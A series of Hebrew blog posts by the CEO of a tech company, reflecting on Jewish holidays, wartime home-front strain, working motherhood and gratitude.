בשנים רגילות, הימים האלה היו כבר מלאים ברשימות, סידורים, תכנונים וניקיונות קדחתניים לקראת החג. אבל השנה, הכל מרגיש אחרת. עכשיו, כשאנחנו עמוק בתוך מבצע "שאגת הארי", המציאות שואבת אותנו למקום שונה לחלוטין. הראש והמחשבות שלנו נמצאים שם – עם הלוחמים בחזית, עם הדיווחים הבלתי פוסקים, ועם האתגרים הקיומיים של התקופה. אנחנו רחוקים שנות אור משגרת ההכנות לחג.

בתוך המערכה הזו, אחד האתגרים הגדולים והשוחקים ביותר שניצבים בפנינו כרגע הוא התפקיד שלנו כאן, בבית: האתגר להיות חלק מאותו "עורף חזק" שנותן גב לצבא.

כשחיפשתי מילים לתאר את התחושה הזו, חזרתי אל סיפור יציאת מצרים, ובפרט אל מלחמת עמלק – סיפור שמהדהד בצורה מצמררת את מה שאנחנו חווים היום.

במלחמה ההיא, התורה מציגה חלוקת תפקידים ברורה: יהושע נלחם פיזית בשדה הקרב מול עמלק, בזמן שמשה עומד על הגבעה ומרים את ידיו כדי לתת השראה וכוח לעם. התורה מתארת משוואה פשוטה לכאורה: "וְהָיָה כַּאֲשֶׁר יָרִים מֹשֶׁה יָדוֹ וְגָבַר יִשְׂרָאֵל, וְכַאֲשֶׁר יָנִיחַ יָדוֹ וְגָבַר עֲמָלֵק."

אבל אז מגיע הפסוק שאולי מתאר אותנו, ממש בימים אלו,  יותר מכל: "וִידֵי מֹשֶׁה כְּבֵדִים".

ידיו של משה, כמו ידיו של כל אדם, מתעייפות. וזה בדיוק מה שקורה לעורף שלנו. הדרישה הקולקטיבית "להישאר חזקים" בזמן מבצע אינטנסיבי כל כך, היא דרישה כבדה, כי המשא שאנחנו נושאים הוא עצום. אי אפשר לדבר על עורף חזק מבלי להכיר קודם כל בכאב ובקושי האמיתי שאנחנו חווים:

• השחיקה היומיומית והאחריות העצומה: הורים שנדרשים לתמרן ללא הרף במציאות של אזעקות והיעדר מסגרות. המחויבות היא כבר מזמן לא רק סביב עבודה; זו קודם כל השמירה המתוחה על החיים ועל הביטחון של בני המשפחה. זה הניסיון העיקש לייצר עוגן, שגרה ומסגרת בתוך הבית, לנהל תפקוד יומיומי שוטף – פנימי מול הילדים וחיצוני מול העולם – וכל זה תוך כדי ג'ינגול אינסופי עם המחויבויות שבחוץ, כמו פרנסה ולימודים
• הקושי הכלכלי: עצמאיים ובעלי עסקים שמקור הפרנסה שלהם אבד או נפגע שוב כתוצאה ממצב החירום, ושכירים ששוב הוצאו לחל"ת וכאלו שלא יכולים לעבוד, בגלל מגוון סיבות הקשורות למצב הבטחוני.  
• העקורים והנפגעים: תושבי הצפון והדרום שנעקרו מבתיהם וחיים כבר זמן רב בחוסר ודאות מוחלט.
• המחיר הכבד מנשוא: ומעל לכל אלו – האנשים שביתם חרב עליהם, אלו שחוו פציעות קשות בגוף ובנפש, והמשפחות שאיבדו את היקר להן מכל.

קשה, ואפילו כמעט בלתי אפשרי, להחזיק את הידיים למעלה לאורך זמן בתנאים האלה.

להיות אהרון וחור אחד עבור השני

בדיוק ברגע המשבר הזה בסיפור המקראי, כשמשה כבר לא יכול להחזיק את הידיים לבד, ניגשים אליו אהרון וחור. הם תומכים בידיו משני הצדדים: "וְאַהֲרֹן וְחוּר תָּמְכוּ בְיָדָיו מִזֶּה אֶחָד וּמִזֶּה אֶחָד, וַיְהִי יָדָיו אֱמוּנָה עַד בֹּא הַשָּׁמֶשׁ".

היום, יותר מתמיד ובשיאו של מבצע "שאגת הארי", אנחנו נדרשים להיות אהרון וחור. החוסן שלנו – היכולת שלנו לקום בבוקר, לתמוך בקולגה בעבודה שקורס תחת הנטל, לחבק את המשפחות השכולות והפצועים, ולהמשיך לייצר עשייה וחיים בתוך הכאב – הוא זה שמחזיק את הידיים של המדינה כולה באוויר.

רק כשהעורף מצליח למצוא את הכוחות לעמוד איתן, אנחנו מעניקים לצבא וללוחמים שלנו בחזית את הגיבוי להילחם את המלחמה הפיזית והקיומית שלנו. באותה נשימה, היציבות הזו היא שמאפשרת להנהגה ולשליחי הציבור לעמוד בגב זקוף בזירה הדיפלומטית מול העולם.

הניצחון במערכה הזו לא שייך רק ללוחמים. הוא שייך לא פחות למי שאוחזים בידיים של כולנו כאן בעורף, פשוט כדי שלא ניפול.

בתקווה לימים שקטים יותר, לחזרתם של כל בנינו ובנותינו בשלום, ולפסח של חירות אמיתית.

אי אפשר לדבר על העורף מבלי לחשוב על הגיבורים שלנו בחזית. 

אני מזמינה אתכם לקרוא גם על הצד השני של המטבע – על האומץ לעשות את הצעד הראשון, בפוסט שכתבתי בשנה שעברה על נחשון בן עמינדב וחיילי צה"ל. מוזמנים לקרוא ממש כאן

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ידיים כבדות ואמונה: המשא של העורף לקראת פסח בצל מבצע "שאגת הארי" appeared first on דעת.

בעולם הטכנולוגי שלנו, אנחנו תמיד במירוץ אחרי ה"חידוש" הבא. גרסה 2.0, עדכון תוכנה, פיצ'ר רענן. אבל האמת היא שבמשרד (או בפינת העבודה בבית), רעננות היא מושג רחוק. רוב הזמן זה מרגיש כמו עבודה תמידית ושוחקת: אנחנו "משקות" את המערכת בקוד, "מדשנות" אותה באופטימיזציה, ומקוות שלא יצמח לנו איזה באג פראי באמצע הלילה.

ואז מגיע ט"ו בשבט.

פתאום, בין ה-Jira ל-Slack, מופיעה צלחת של פירות יבשים. פתאום יש הפוגה. וזה מצחיק, כי בטכנולוגיה הכל חייב להיות מהיר, אבל ט"ו בשבט מזכיר לנו שצמיחה אמיתית היא דבר איטי להחריד. עץ לא עושה Fast Forward, והוא בטח לא מבקש מהמשתמש "לחכות בזמן שהפרי נטען".

בכל פעם שאני עוצרת לקלף מנדרינה או לנשנש שקד מול המסך, אני מבינה כמה אנחנו צריכות את ה"ירוק בעיניים" הזה. הירוק הזה הוא לא רק צבע של פלסטיק במשרד, אלא השאיפה לנשום רגע. לצאת מה-Loop האינסופי של המשימות ולזכור שגם אנחנו, בדיוק כמו האילנות, צריכות שורשים חזקים כדי לא להתכופף בכל פעם שהשרת קורס.

והנה הפואנטה: הטכנולוגיה נותנת לנו חידושים, אבל הטבע נותן לנו התחדשות. החידוש הוא במוצר, אבל הרעננות היא בנו.

זה בדיוק כמו הכוס הרב-פעמית שלי – היא מזכירה לי שלא הכל בחיים הוא "השתמש וזרוק". יש דברים ששווה לשמר, ששווה להשקיע בהם לטווח רחוק, גם אם בסוף הקפה מתקרר כי הייתי עסוקה בלבנות משהו שיחזיק מעמד.

השנה, בין אישור באג אחד לשני, החלטתי להכניס קצת "פריחה" למשרד. לא רק פירות יבשים, אלא את ההבנה שמותר לנו לעצור, להסתכל מהחלון על הגשם (שהפעם לא רק עושה לנו שפעת, אלא באמת משקה משהו), ולשאת תפילה קטנה שגם העבודה הקשה שלנו תצמיח פירות מתוקים בסוף.

חג לאילנות (ולצוות דעת) שמח!

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post באגים, שקדים ופריחה מלאכותית appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post תובנות על העץ הנדיב appeared first on דעת.

אני יושבת בזום, מנסה להיראות כאילו אני שולטת ב-Roadmap של הרבעון הבא. מאחוריי, תליתי רקע וירטואלי של משרד הייטק נוצץ בסיליקון ואלי, אבל המציאות היא שמאחורי הלפטופ יש ערימת כביסה שלא התייבשה מאז נובמבר, כי המייבש החליט לעשות Timeout בדיוק כשהתחיל המבול.

הצוות שלי? הן גיבורות על. אני רואה אותן בריבועים הקטנים של המסך:

• אחת עושה Code Review  תוך כדי שהיא מאכילה תינוק בסימילאק (היא טוענת שזה עוזר לה למצוא באגים בלוגיקה).
• השנייה מנסה לאשר באגים  בזמן שהיא מפעילה מכשיר אדים, והמסך שלה נראה כמו סצנה מתוך "ערפל בערבות אנגליה".
• השלישית: מעלה תיקוני קוד (Commits) תוך כדי שהיא מנסה לשכנע את בן השנתיים שלה שסירופ נגד שיעול זה בעצם "מיץ פטל של גיבורי על". היא עובדת בשיטת ה-Rollback: על כל שורת קוד שהיא כותבת, הילד מוחק שלוש, ובסוף היא מצליחה לעשות Merge רק כשהוא נרדם על השטיח עם הדובי.
• הרביעית: מנהלת את ה-Database ביד אחת, וביד השנייה מנווטת את המדחום הלייזר כמו לוחמת ב"מלחמת הכוכבים". היא היחידה בצוות שמצליחה לעשות Optimization גם לשאילתות וגם לתור של המוקד הטלפוני של קופת חולים בו זמנית, כשהיא מחכה שעה על הקו ומשתקת את המיקרופון (Mute) בכל פעם שהקריין אומר "מקומך בתור הוא…".

בסוף היום, כשהבית סוף סוף משתתק, הגשם דופק על החלון והילדים של כל העובדות ישנים (עם חום, אבל ישנים), אני מסתכלת על הקוד שנכתב היום.

הוא נכתב בין שיעולים, בין אינהלציות, בין שלוליות בכניסה לבית לבין תה קר. וזה קוד מדהים. הוא רץ חלק, הוא יעיל, והוא פותר בעיות מורכבות.

"השיא היה היום בצהריים. קיבלתי התראה על "Critical Error" בשרת. הלב שלי דפק, למרות שגם ככה הוא היה על 120 דפיקות לדקה רק מהמאמץ של לקום להביא כוס מים. פתחתי את הפניה לIT בטירוף, הידיים שלי רעדו על המקלדת (ולא מאדרנלין, פשוט מצמרמורת של 39 מעלות), ואז הבנתי שהטעות הקריטית היחידה היא ששכחתי לסגור את המיקרופון בזום כשנפלט לי אנחת ייאוש של: 'אלוהים, רק שמישהו יביא לי תה'.

מנהל הIT, פשוט הנהן בהבנה ושאל אם אני צריכה שמישהו יעשה Pull Request למשלוח של וולט מהבית מרקחת הקרוב."

בסוף היום, כשהבית סוף סוף משתתק, הגשם דופק על החלון והילדים של כל העובדות ישנים (עם חום, אבל ישנים), אני מסתכלת על הקוד שנכתב היום.

הוא נכתב בין שיעולים, בין אינהלציות, בין שלוליות בכניסה לבית לבין תה קר. וזה קוד מדהים. הוא רץ חלק, הוא יעיל, והוא פותר בעיות מורכבות.

כי זה הסוד שלנו: טכנולוגיה היא מדע מדויק, אבל ניהול הוא אמנות הבלתי אפשרי.

מי שיכולה לדבג מערכת מורכבת כשברקע יש "מסיבת נזלת" ושלושה ילדים שרבים על השלט – יכולה לנהל את העולם. המעסיקים שמחפשים "עמידות בלחץ"? הם לא צריכים מבחני אישיות. הם פשוט צריכים לראות אמא טכנולוגית מתפעלת תקלה בייצור ביום גשום של ינואר.

אנחנו לא רק כותבות שורות קוד, אנחנו כותבות את המדריך להישרדות אנושית במצבי קיצון. וזה ה-Feature הכי חזק במערכת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post המלחמה על רוחב הפס (והשפיות) appeared first on דעת.

כמו מרבית הציבור הדתי והחרדי, גדלתי וחונכתי על פי לוח השנה העברי בלבד, המושתת על מולד הירח. לוח השנה האזרחי או הגרגוריאני, המבוסס על מחזור השמש, ולפי חלק מהתפישות נחשב ל"לוח השנה הנוצרי", לא היה קשור אלי כלל במקרה הטוב, או אפילו נאסר לחלוטין לשימוש במקרה הפחות טוב. כל שכן, גם חגיגות תחילת השנה שהתלוו אליו. בגיל 18 שכתבתי את השקים הראשונים בחיי, הקפדתי לרשום את התאריך העברי בגאווה ובגאון והתעלמתי בעקשנות מרעו הלועזי. עם השנים התגמשה מעט עמדתי בנושא.

"אני ואתה נשנה את העולם", שר אריק אינשטיין. אני מציאותית יותר ומכירה בעובדה שכנראה אינני יכולה לשנות את העולם במעשה דרמטי, לא בשנה אזרחית זו ולא בשנים האזרחיות הבאות.

יש הקושרים את ראש השנה האזרחי לאפיפיור סילבסטר, שכיהן במאה הרביעית לפני הספירה. בפועל נחגג ראש השנה החדשה בכל רחבי העולם, גם במדינות שהדת הרשמית בהן איננה כלל הנצרות,כדוגמת: תאילנד, יפן, טורקיה והודו. אמנם, סילבסטר נפטר ב-31 לדצמבר אך בנצרות נחגג חג המולד לרוב ב-25 בדצמבר, כאשר ה-31 הוא כמעט חסר ערך דתי בהקשר זה. גם הטענות על אופיו האנטישמי לכאורה של האפיפיור סילבסטר אינן מגובות מבחינה היסטורית. למעשה, מציין ה-31 בדצמבר תאריך שהוא בעיקר ראש שנת הכספים החדשה. בעבר הייתה שנת הכספים נפתחת בראשון לאפריל, המקביל לחודש העברי ניסן, שלפי המשנה הוא ראש השנה למלכים. במציאות שכזו, השנה האזרחית החדשה איננה נופלת תחת ההגדרה "לא שלנו" אלא נקשרת לחיי היומיום של כל אחד מאיתנו, אם ירצה ואם לא, ברמה הכלכלית, העסקית, התרבותית והארגונית.

לפני שנה אזרחית חדשה, כמו לפני ראש השנה היהודי, נבחרים 100 אנשי השנה המשפיעים ביותר, העיתונים מתמלאים בסיכומים, ברדיו נערכים מצעדים שונים ונשמעות ספקולציות והערכות לגבי השנה הבאה. מבחינתי, תאריך השנה האזרחית החדשה הוא אכן הזדמנות נהדרת לערוך סיכומים ולהתכונן לקראת הבאות. אם כי, בפועל ניתן לערוך סיכום גם בכל תאריך אחר – בין אם פעם בשנה ובין אם חמש פעמים בשנה, בין אם בתחילת כל חודש או אפילו לפני השינה בכל לילה. חשבון נפש זה הוא הזדמנות אמיתית להביט בהישגים ולהתכונן לקראת הבאות.

"אני ואתה נשנה את העולם", שר אריק אינשטיין. אני מציאותית יותר ומכירה בעובדה שכנראה אינני יכולה לשנות את העולם במעשה דרמטי, לא בשנה אזרחית זו ולא בשנים האזרחיות הבאות. עם זאת, אני בהחלט יכולה לשנות במסגרת מעגל ההשפעה שלי. וזה המון! גם לשינוי מקומי ישנה השפעה אוניברסאלית עצומה, ממש כמו "אפקט הדומינו". מספיק שאבן אחת תזוז כדי שהשורה כולה תתחיל לנוע הלאה, די להשליך אבן זעירה אחת לתוך מאגר מים גדול כדי לעורר אינסוף גלים מסביב, ובכך אני רואה את תרומתי בשנה אזרחית זו ובכל אחד מימי השגרה. מסיבות אלה, ראש השנה האזרחית הוא בעיקר תאריך בו אני שואלת את עצמי מה ניתן לשפר ביחס לשנה האזרחית הקודמת, וכיצד אוכל לתרום את תרומתי לעולם טוב יותר בעתיד, מבחינה מקצועית ומכל בחינה אחרת.

צוות חברת "דעת" מאחל לכולם שנה אזרחית פורייה ומלאה בשפע ובהצלחה.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post שנה אזרחית חדשה – מה היא קשורה אלי? appeared first on דעת.

אני מוצאת את עצמי משקיעה שעות בכתיבת הצעות מחיר מורכבות, מנתחת אפיונים, בונה ארכיטקטורה, מנסה לדייק כל שורת תקציב – ושולחת אותן לחלל ריק. שום התייחסות, שום מענה, ובטח שלא זכייה. 

המרדף הבלתי פוסק הזה אחרי עבודה נוספת לצוות, האחריות להשאיר את המערכת משומנת ופעילה, מרגיש לפעמים כמו ריצה אחרי רוח. כשפרויקט שסמכת עליו לא קורה, קל מאוד להרגיש שהקרקע המקצועית נשמטת, ושהמאמץ פשוט לא נושא פרי.

ואז אני מגיעה הביתה, ומגלה שהבור השחור לא נשאר במשרד. הוא מחכה לי שם, בין הקירות שאמורים להיות המבצר שלי, והוא נראה כמו הרים של מטלות שאין להן סוף.

אני פותחת את המקרר, והייאוש מכה בי. המקרר מלא – יש ירקות, יש גבינות, יש הכל – אבל אין "אוכל". אין לי דקה פנויה לעמוד ולבשל, והמחשבה על להתחיל לקצץ, לטגן ולהכין ארוחה חמה למשפחה נראית באותו רגע כמו משימה בלתי אפשרית. התסכול הזה, לעמוד מול שפע של מוצרים ולא להיות מסוגלת להוציא מהם מנה מבושלת כי האנרגיה פשוט נגמרה, הוא סוג של שיתוק.

אבל אז, בתוך החושך הזה, אני מזכירה לעצמי לעצור. פשוט לעצור ולספור. Count your blessings.

אני מסובבת את הראש ורואה את הערמות. הרים של בגדים שזקוקים לגיהוץ. הם עומדים שם כבר ימים, תזכורת אילמת לכל מה שלא הגעתי אליו. אני אפילו לא מוצאת את הכוח לפתוח את קרש הגיהוץ, להעמיד אותו בסלון ולהתחיל ליישר את הקמטים. זה לא רק הבגדים; זו התחושה שהבית "מנצח" אותי, שהמחויבויות למשפחה הן משקולת שאני לא מצליחה להרים.

ברגעים האלה, קל מאוד ליפול לבור שחור שאין בו קרן אור. הכל נראה אפור, עייף וחסר טעם.

אבל אז, בתוך החושך הזה, אני מזכירה לעצמי לעצור. פשוט לעצור ולספור. Count your blessings.

אני לוקחת נשימה עמוקה ומתחילה להודות, מהשורש אל הענפים:

• קודם כל, אני מודה על החיים עצמם. על המתנה הזו שניתנת לי בכל בוקר מחדש.
• אני מודה על האמונה שלי. על הכוח להאמין שיש יד מכוונת ושיש משמעות גם לרגעים הקשים.
• אני מודה על הבריאות. על הגוף שמחזיק אותי ומאפשר לי לפעול בעולם.
• אני מודה על הבעל והילדים שלי. על העוגן שלי, על האהבה שמקיפה אותי ועל הזכות להיות עבורם ולמענם.

ואחרי מחשבה אני ממשיכה להודות 

• אני מודה על זה שיש לי את היכולת לכתוב הצעות מחיר, על המוח המקצועי שלי ועל הצוות שסומך עליי, גם אם הדרך לפרויקט הבא לפעמים פתלתלה.
• אני מודה על המקרר המלא. נכון, לא בישלתי היום, אבל הבית הזה שופע כל טוב. אנחנו לא רעבים.
• אני מודה על ערמות הבגדים. הן מעידות על משפחה חיה, פועמת, שיש לה חיים מלאים בחוץ.
• אני מודה על הזכות להיות הלב של הבית הזה, על המחויבויות האלו שמזכירות לי כמה אני משמעותית עבור האנשים שאני אוהבת.

זה נשמע פשוט, אולי אפילו פשוט מדי, אבל ברגע שאני בוחרת להודות – משהו בכימיה של היום משתנה. השמיים פתאום מתבהרים, העננים הכבדים זזים הצידה, ומגיע אור השמש המרפא. זה לא שהצעות המחיר נחתמו מיד או שהבגדים התגהצו מעצמם, אבל הפרספקטיבה השתנתה. אני כבר לא בבור. אני באור.

הודיה היא לא התעלמות מהקשיים, היא פשוט ההבנה שגם בתוך הלחץ והעומס, יש לנו כל כך הרבה על מה לומר תודה. וברגע שזוכרים את זה, הכול הופך לאפשרי יותר.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post כששום דבר לא מתקמפל: על הימים שבהם האור נעלם בתוך העומס appeared first on דעת.

אך חג החנוכה איננו קשור רק למאכלים מטוגנים בשמן ולהצלחתם של גברים יהודיים במלחמתם לחופש דתי ולעצמאות לאומית. חג החנוכה קשור, לפי המסורת, גם למאכלי חלב ולמעשה גבורה לא פחות אמיץ של אישה חכמה אחת ומעט פחות ידועה – יהודית.

גבורתה של יעל

בפרק ה בספר שופטים נושאת דבורה הנביאה את שירתה המפורסמת על הניצחון במלחמה נגד סיסרא, שר צבא יבין מלך חצור. בשירתה היא איננה שוכחת את מעשה גבורתה של יעל ומברכת את רעתה: "תבורך מנשים יעל, אשת חבר הקיני, מנשים באהל תבורך. מים שאל חלב נתנה… ידה ליתד תשלחנה וימינה לעלמות עמלים והלמה סיסרא, מחקה ראשו ומחצה וחלפה רקתו". בספר שופטים, פרקים ג' ו-ד', מתוארת מלחמת הגבורה נגד צבא סיסרא. מלחמה זו התנהלה בפיקודו של ברק בן אבינועם באזור נחל קישון והר תבור. ברק, שהכיר היטב את השטח, הצליח בתחבולה מתוחכמת למשוך את צבא סיסרא אל אזור אגן הניקוז של הנחל, שבתקופת שיטפונות החורף הופך לביצה גדולה וטובענית. צבא סיסרא, שהגיע למקום, שקע עמוק בבוץ ולא הצליח להילחם בצבא הקטן והמיומן של ברק. סיסרא המיואש נס על נפשו מאיימת צבאו של ברק והגיע במנוסתו אל אוהלה של יעל, אשת חבר הקיני. יעל קיבלה את סיסרא המבוהל בנימוס והגישה לו ספל חלב טרי. לאחר שנרגע מעט, הציעה יעל לסיסרא לשכב לישון. סיסרא שקע בשינה עמוקה, ויעל הוציאה את יתד אוהלה ונעצה אותו ברקתו. במעשה זה הכריעה יעל את המלחמה.

חנוכה וסיפור גבורתה של יהודית

סיפור גבורתה של יהודית, הקשור לחג החנוכה, ידוע פחות. שכן, ספר יהודית שייך ל"ספרים החיצוניים" שנכתבו לאחר חתימת התנ"ך ולא נכללו בתוכו. לפי המסופר בספר, הולופרנס, שר צבאו של נבוכדנצר, פלש לארץ ישראל במסע כיבושיו, כשפניו מועדות לעיר ירושלים. בני ישראל שחששו שהולופרנס יגיע לירושלים ויטמא את המקדש, הוציאו צו מיוחד לערי הצפון לעצור אותו בדרכו. כתגובה החליט הולופרנס להטיל מצור על העיר "בתוליה" בצפון השומרון. לאחר שמלאי המים אזל ובעיר נואשו מתקווה, החליטו להמתין עוד חמישה ימים לישועת האל, ואם זו לא תגיע, להיכנע. אך יהודית, שהייתה אלמנה יפיפייה, עשירה ובת למשפחת כוהנים מפורסמת, לא נכנעה. היא קיבלה את אישור המועצה ויצאה בדרכה למחנה הולופרנס. במחנה טענה יהודית, כי גורל היהודים בעיר נחרץ לאבדון וביקשה את חסותו של הולופרנס. חייליו של הולופרנס נשבו ביופייה של יהודית, הוקסמו מאופייה והאמינו בכנות כוונותיה. גם הולופרנס, שנשבה בקסמיה, אפשר לה לעשות ככל העולה על דעתה במחנה.

כמה ימים לאחר מכן ארגן הולופנס משתה, אליו הזמין את יהודית במטרה לפתותה. במהלך המשתה נשארו הולופרנס ויהודית לבד, והולופרנס היטיב לבו במאכלי חלב וגבינה שהביאה עימה. מליחות הגבינה הגבירה את צימאונו של הולופרנס והוא הרבה לשתות יין. לאחר זמן לא רב השתכר הולופרנס לגמרי, נפל על מיטתו ושקע בתרדמה עמוקה. במכת חרב מהירה אחת הסירה יהודית את ראשו מעליו ושבה אל העיר כשהיא נושאת אותו בתרמילה. עם בוקר, כשגילו חייליו של הולופרנס את גופתו נאחזו בהלה גדולה, נמלטו מהמקום, והעיר בתוליה הכריזה על ניצחונה במלחמה. מותו של הולופרנס הוביל לתשועה גדולה לעם ישראל, והוא נקשר לחג החנוכה בשל ניסיונותיו של נבוכדנצר להעביר את עם ישראל על דתו, בדומה לשלטון היוונים. לפי גרסה אחרת, שמה של יהודית הוא כשמה של בתו של מתתיהו המכבי, וכך נוצר הקשר לחנוכה.

סיפורה של יהודית מזכיר מאוד את סיפורה של יעל. אומץ הלב, התחכום, הנחישות, השימוש בתחבולות וגם שתיית החלב חוזרים בשני הסיפורים. סיפורים אלה נותנים מקום של כבוד גם לנשים ולמעורבותן הפעילה במאורעות החשובים של העם היהודי לדורותיו; נשים בודדות שבאומץ לבן ובחוכמתן הצליחו להערים על גדולי המפקדים ולהכריע גורלות.

מעמדן של נשים השתפר מאוד לאורך הדורות. היום, שלא כמו בתקופת התנ"ך, כדי להשפיע ולהיות מעורבות, נשים אינן צריכות לסכן את חייהן, לפעול לבד או לנקוט בתחבולות ערמומיות. היום עובדות חברת "דעת" הן חלק בלתי נפרד ממארג החברה ומשוק העבודה בישראל, והן נוטלות חלק שווה בעשייה ומפגינות מיומנות מקצועית שאיננה נופלת מזו של גברים. ולבסוף, חג החנוכה הוא הזדמנות לשוב ולחגוג את חירותנו שנקנתה בגברותם של גברים ונשים כאחד.

חג אורים שמח.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post חג החנוכה וגבורתה של יהודית appeared first on דעת.

אני זוכרת שקראתי את זה וחייכתי לעצמי. חשבתי שהיא עוד רחוקה מהתחתית שלי – באותה תקופה, לחמם את אותה כוס קפה במיקרו פעם שנייה ושלישית היה הסטנדרט שלי.

ביום חמישי האחרון זה קרה שוב.

טניה המסורה הגיעה לארגן את המשרד בסוף היום. היא ראתה אותי יושבת ליד השולחן, ושוב לצידי כוס קפה קר, ושאלה בעדינות: "להכין לך קפה חדש?"

הקפה הקר הוא העדות לחיים שקורים.

עניתי לה שחבל. שזה כבר הקפה השלישי שאני שופכת היום אחרי שחומם שוב ושוב ושוב. ובאותו רגע, נזכרתי באותו טור ישן.

אבל הפעם, המחשבה הייתה אחרת לגמרי.

פעם, כוס קפה קרה הייתה סימן לכישלון ניהול זמן, לעייפות קיצונית, למרוץ עכברים סיזיפי. אבל היום? אחרי הקורונה, אחרי המלחמה, אחרי ימים שבהם השקט היה רועש מדי והיומן היה ריק ומפחיד – למדתי להסתכל על הקפה הקר שלי אחרת.

הקפה הקר הוא העדות לחיים שקורים.

הוא ההוכחה לכך שהיום שלי מלא. שיש לי מטלות בבית ובמשרד, שיש אנשים שצריכים אותי, שיש עשייה "בפנים" ו"בחוץ". הוא הסימן לכך שהעולם מסתובב, שהעסק חי, שהמשפחה נושמת.

אז כן, הקפה שלי שוב התקרר כי נכנסה שיחה חשובה, או כי הילד היה צריך עזרה, או כי פשוט הייתי עמוקה בתוך עבודה משמעותית.פעם קראתי לזה "תחתית". היום אני קוראת לזה זכות.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מה למדתי מכוס קפה שחוממה שלוש פעמים במיקרו? ☕ appeared first on דעת.

רגע. מה קורה כאן? מה התאריך היום? האם לא התחלנו זה עתה את חודש חשוון?
חנוכה יחול בעוד כחודש וחצי והסופגניות כבר מככבות. לרגע התחשק לי לקנות, ובכל זאת החלטתי לשמור לעצמי את החגיגה המתוקה לימי החנוכה ולהישאר בהווה הנוכחי, בימים "הרגילים".
בדרכי החוצה מהמאפיה חשבתי שאולי התופעה הזו מייצגת רצון לברוח מימי השגרה לרגעי השיא של החגים, בריחה מתקופה אפורה, מעול המטלות השגרתיות, האתגרים הבלתי פוסקים והחד-גוניות שחוזרת על עצמה, לימים של גיוון, מטלות שונות, אתגרים אחרים ויציאה מוחלטת מן השגרה.

איזו מהם עדיפה – השגרה – או היציאה ממנה?

ניחוח חגי תשרי עדיין עולה באפי. במקרר ריבת אתרוגים והשכנים ממול עדיין לא פירקו את הסוכה (שלא לדבר על העודפים שיש להשיל…). אבל חוש הריח שלי בלבל אותי לרגע כאשר נכנסתי הבוקר למאפיה והרחתי את הסופגניות

אברהם לינוקלן, נשיאה ה-16 של ארה"ב, אמר פעם: "אלוקים אוהב במיוחד את האנשים הפשוטים. מנין לי לדעת זאת? עובדה שהוא ברא כה רבים מהם!"
אני לא מאמינה שיש "אנשים "פשוטים" ואנשים "לא פשוטים". אבל האם יש ימים "פשוטים"? הלא נרצה או לא נרצה, הקב"ה ברא את עולמו כך שיש מעט ימי חג גדולים ורְווּיֵי עוצמות, והרבה ימי חול אפורים ושגרתיים.

אם נשליך מהאנשים לימים, ונאמץ את כיוון המחשבה שאין ימים פשוטים, אם נחליט שלכל יום יש את האיכויות שלו ונדע לנצל כל יום ויום, אולי נבין מסר.

הרי לא חוכמה לשמוח, לצמוח ולפרוח, וגם לגלות כישרונות וכוחות-על, במאמץ קצר-המועד, המאתגר והמרגש של החגים, הרוויים סממנים חיצוניים שנועדו להזכיר לנו באופן תקופתי את סולם הערכים שלנו, את הייעוד שלנו ואת המצפן המוסרי והאנושי שמכוון את חיינו.
אנחנו נמדדים דווקא בימי השגרה. ביכולת להתמיד, בלי סופגניות ובלי סוכה, ביכולת לפתח את כושר העמידה, להשקיע מאמץ באופן שוטף ולבנות עליהם עולם של נאמנות, יציבות, עומק והתקדמות בלתי פוסקת, עקב בצד אגודל. ביכולת להבין שהחגים לא רק מאירים את הימים שבאים אחריהם – אלא ניזונים ויונקים מכל מה שזרענו וטיפחנו בתקופה שקדמה להם.

